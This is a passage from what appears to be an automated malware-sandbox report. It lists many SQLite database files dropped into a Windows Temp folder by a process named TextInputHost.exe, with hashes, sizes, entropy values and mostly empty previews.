SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nFyuDMAfju

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nRiDnJgVvo

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nq8OBePmuF

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nqGbKL5xO1

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oHrVr8TFrL

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oKjwPTk7Gx

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oYljdujWy7

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\obi5FkBRly

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ohmqIBJPMV

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oiC5FnkqHo

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oy8T9yVZbT

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\p2QkaqQmxx

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pMF9ekTo6x

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qCRH6W892y

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qDlN9KRlYg

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qG71bD07S2

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qkzXHUFNCt

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ql3MDiKoGl

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\r5rZozZxs1

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\r9aNxqtRxk

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\s4oFLYgsm0

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sCRKCd8nOe

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sDOdyrRk2y

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tFWdsLUv2e

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tJUR91L5Hp

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tPilGMDlt9

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
